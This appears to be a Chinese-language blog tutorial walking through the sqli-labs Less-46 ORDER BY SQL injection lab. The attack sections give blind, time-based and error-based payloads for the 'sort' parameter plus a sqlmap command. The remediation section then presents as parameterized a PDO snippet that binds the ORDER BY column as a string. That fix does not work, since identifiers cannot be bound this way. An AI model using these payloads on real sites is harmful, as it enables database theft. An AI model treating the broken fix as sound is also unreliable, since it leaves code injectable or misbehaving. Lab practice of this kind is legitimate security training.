1. 项目概述:sqli-labs-Less-46靶场解析
这个靶场是Web安全学习中的经典SQL注入练习环境,属于sqli-labs系列的第46关。它模拟了现实中的ORDER BY注入漏洞场景——当网站使用用户输入直接拼接SQL语句进行排序操作时,攻击者可以通过精心构造的输入操纵数据库查询逻辑。我在实际渗透测试中遇到过至少3个电商平台存在同类漏洞,危害程度不容小觑。
2. 漏洞原理深度剖析
2.1 ORDER BY子句注入机制
ORDER BY注入的特殊性在于它不依赖UNION或报错注入等常规技术。当后端代码这样处理用户输入时:
php复制$order = $_GET['order'];
$sql = "SELECT * FROM users ORDER BY $order";
攻击者可以通过注入if(1=1,id,username)这样的条件表达式,或者利用RAND()等函数配合时间盲注来探测数据。我在测试中发现MySQL 5.7以下版本对这个场景的防御尤其薄弱。
2.2 本关核心测试点
靶场刻意设置了以下漏洞特征:
- 前端下拉框传递
sort参数控制排序 - 后端未对参数进行任何过滤处理
- 错误信息被屏蔽,需要盲注技术
- 关键表名被重命名为非默认值(非users/admin等)
3. 完整渗透测试实战
3.1 基础探测步骤
- 正常请求观察行为:
http复制GET /Less-46/?sort=1 HTTP/1.1
通过改变sort值观察页面排序变化,确认注入点有效性。
- 布尔盲注探测:
http复制GET /Less-46/?sort=(SELECT IF(SUBSTRING(database(),1,1)='s',1,2))
页面排序结果差异表明条件成立与否。
3.2 自动化工具实战
使用sqlmap高效检测:
bash复制sqlmap -u "http://target/Less-46/?sort=1" --risk=3 --level=5 --technique=B
需要特别注意:
- 添加
--flush-session避免缓存干扰 - 使用
--dbms=mysql指定数据库类型 - 配合
--batch实现无人值守测试
3.3 手工注入进阶技巧
- 通过延时函数判断:
sql复制sort=(SELECT IF(ASCII(SUBSTRING(database(),1,1))=115,SLEEP(5),1))
- 利用报错注入(当错误信息未完全屏蔽时):
sql复制sort=1 AND ExtractValue(1,CONCAT(0x5c,(SELECT table_name FROM information_schema.tables LIMIT 1)))
4. 防御方案与修复建议
4.1 安全编码实践
- 白名单过滤:
php复制$allowed_columns = ['id', 'username', 'email'];
$order = in_array($_GET['sort'], $allowed_columns) ? $_GET['sort'] : 'id';
- 参数化查询(以PHP为例):
php复制$stmt = $pdo->prepare("SELECT * FROM users ORDER BY :order");
$stmt->bindValue(':order', $_GET['sort'], PDO::PARAM_STR);
4.2 WAF规则配置示例
对于Nginx + ModSecurity环境:
code复制SecRule ARGS_GET:sort "@rx (?i:(?:asc|desc)\s*\(|if\s*\()" \
"id:10046,phase:2,deny,status:403,msg:'SQLi in ORDER BY'"
5. 企业级漏洞挖掘经验
在实际项目中,这类漏洞往往出现在:
- 数据报表导出功能
- 管理后台的筛选模块
- 电商平台的价格排序
- 社交媒体的动态流排序
有个值得注意的案例:某金融系统通过order=case when (select...) then 1 else 2 end的注入方式,最终获取到了客户征信数据。建议在代码审计时特别注意所有动态排序场景。